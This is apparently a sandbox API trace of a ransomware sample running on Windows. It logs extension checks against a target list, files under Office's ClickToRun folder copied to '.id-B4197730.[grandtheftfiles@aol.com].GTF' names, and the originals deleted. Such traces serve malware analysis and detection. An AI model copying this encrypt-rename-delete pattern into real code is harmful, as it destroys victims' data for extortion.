	[0085.960] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0086.489] SetEndOfFile (hFile=0x340) returned 1
	[0086.489] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3fc3008
	[0086.495] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.495] WriteFile (in: hFile=0x340, lpBuffer=0x3fc3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3fc3008*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.496] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.497] WriteFile (in: hFile=0x340, lpBuffer=0x3fc3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3fc3008*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.499] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.499] WriteFile (in: hFile=0x340, lpBuffer=0x3fc3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3fc3008*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.500] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0086.502] CloseHandle (hObject=0x340) returned 1
	[0086.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0086.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.502] lstrlenW (lpString=".doc") returned 4
	[0086.502] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.502] lstrlenW (lpString=".docx") returned 5
	[0086.502] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.502] lstrlenW (lpString=".pdf") returned 4
	[0086.502] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.502] lstrlenW (lpString=".xls") returned 4
	[0086.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".xlsx") returned 5
	[0086.503] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.503] lstrlenW (lpString=".ppt") returned 4
	[0086.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString=".zip") returned 4
	[0086.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".rar") returned 4
	[0086.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".bz2") returned 4
	[0086.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.503] lstrlenW (lpString=".7z") returned 3
	[0086.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString=".dbf") returned 4
	[0086.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString=".1cd") returned 4
	[0086.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString=".jpg") returned 4
	[0086.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.503] lstrlenW (lpString=".doc") returned 4
	[0086.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".docx") returned 5
	[0086.503] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.503] lstrlenW (lpString=".pdf") returned 4
	[0086.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".xls") returned 4
	[0086.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.503] lstrlenW (lpString=".xlsx") returned 5
	[0086.503] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.503] lstrlenW (lpString=".ppt") returned 4
	[0086.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.504] lstrlenW (lpString=".zip") returned 4
	[0086.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.504] lstrlenW (lpString=".rar") returned 4
	[0086.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.504] lstrlenW (lpString=".bz2") returned 4
	[0086.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.504] lstrlenW (lpString=".7z") returned 3
	[0086.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.504] lstrlenW (lpString=".dbf") returned 4
	[0086.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.504] lstrlenW (lpString=".1cd") returned 4
	[0086.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.504] lstrlenW (lpString=".jpg") returned 4
	[0086.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.504] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.504] lstrlenW (lpString="C2R32.dll") returned 9
	[0086.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.505] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=820416) returned 1
	[0086.505] CloseHandle (hObject=0x340) returned 1
	[0086.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20
	[0086.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.508] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.508] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.508] GetLastError () returned 0x0
	[0086.508] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xc84c0, lpOverlapped=0x0) returned 1
	[0086.758] WriteFile (in: hFile=0x368, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xc84d0, lpOverlapped=0x0) returned 1
	[0086.772] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.772] WriteFile (in: hFile=0x368, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0086.772] SetEndOfFile (hFile=0x368) returned 1
	[0086.772] CloseHandle (hObject=0x368) returned 1
	[0086.772] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.773] SetEndOfFile (hFile=0x340) returned 1
	[0086.780] CloseHandle (hObject=0x340) returned 1
	[0086.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0086.780] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.154] lstrlenW (lpString=".doc") returned 4
	[0087.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".docx") returned 5
	[0087.154] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.154] lstrlenW (lpString=".pdf") returned 4
	[0087.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".xls") returned 4
	[0087.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".xlsx") returned 5
	[0087.154] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.154] lstrlenW (lpString=".ppt") returned 4
	[0087.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.154] lstrlenW (lpString=".zip") returned 4
	[0087.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".rar") returned 4
	[0087.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".bz2") returned 4
	[0087.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.154] lstrlenW (lpString=".7z") returned 3
	[0087.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.154] lstrlenW (lpString=".dbf") returned 4
	[0087.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".1cd") returned 4
	[0087.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".jpg") returned 4
	[0087.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".doc") returned 4
	[0087.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".docx") returned 5
	[0087.155] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.155] lstrlenW (lpString=".pdf") returned 4
	[0087.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".xls") returned 4
	[0087.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".xlsx") returned 5
	[0087.155] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.155] lstrlenW (lpString=".ppt") returned 4
	[0087.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".zip") returned 4
	[0087.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".rar") returned 4
	[0087.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".bz2") returned 4
	[0087.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString=".7z") returned 3
	[0087.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".dbf") returned 4
	[0087.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.155] lstrlenW (lpString=".1cd") returned 4
	[0087.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0087.156] lstrlenW (lpString=".jpg") returned 4
	[0087.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.156] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.156] lstrlenW (lpString="C2RUI.en-us.dll") returned 15
	[0087.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0087.162] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=902328) returned 1
	[0087.162] CloseHandle (hObject=0x398) returned 1
	[0087.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20
	[0087.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.163] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.163] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.165] GetLastError () returned 0x0
	[0087.165] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xdc4b8, lpOverlapped=0x0) returned 1
	[0087.312] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xdc4c0, lpOverlapped=0x0) returned 1
	[0087.737] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.737] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0087.737] SetEndOfFile (hFile=0x370) returned 1
	[0087.737] CloseHandle (hObject=0x370) returned 1
	[0087.738] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.738] SetEndOfFile (hFile=0x37c) returned 1
	[0087.745] CloseHandle (hObject=0x37c) returned 1
	[0087.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1
	[0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.746] lstrlenW (lpString=".doc") returned 4
	[0087.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.746] lstrlenW (lpString=".docx") returned 5
	[0087.746] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.746] lstrlenW (lpString=".pdf") returned 4
	[0087.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.746] lstrlenW (lpString=".xls") returned 4
	[0087.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.746] lstrlenW (lpString=".xlsx") returned 5
	[0087.746] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.746] lstrlenW (lpString=".ppt") returned 4
	[0087.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.746] lstrlenW (lpString=".zip") returned 4
	[0087.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.746] lstrlenW (lpString=".rar") returned 4
	[0087.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".bz2") returned 4
	[0087.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.747] lstrlenW (lpString=".7z") returned 3
	[0087.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString=".dbf") returned 4
	[0087.747] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString=".1cd") returned 4
	[0087.747] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString=".jpg") returned 4
	[0087.747] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString=".doc") returned 4
	[0087.747] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".docx") returned 5
	[0087.747] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.747] lstrlenW (lpString=".pdf") returned 4
	[0087.747] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".xls") returned 4
	[0087.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".xlsx") returned 5
	[0087.747] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.747] lstrlenW (lpString=".ppt") returned 4
	[0087.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.747] lstrlenW (lpString=".zip") returned 4
	[0087.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".rar") returned 4
	[0087.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.747] lstrlenW (lpString=".bz2") returned 4
	[0087.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.747] lstrlenW (lpString=".7z") returned 3
	[0087.748] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.748] lstrlenW (lpString=".dbf") returned 4
	[0087.748] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.748] lstrlenW (lpString=".1cd") returned 4
	[0087.748] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73
	[0087.748] lstrlenW (lpString=".jpg") returned 4
	[0087.748] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.748] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.748] lstrlenW (lpString="mso20win32client.dll") returned 20
	[0087.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.748] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3144288) returned 1
	[0087.748] CloseHandle (hObject=0x37c) returned 1
	[0087.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20
	[0087.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0087.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
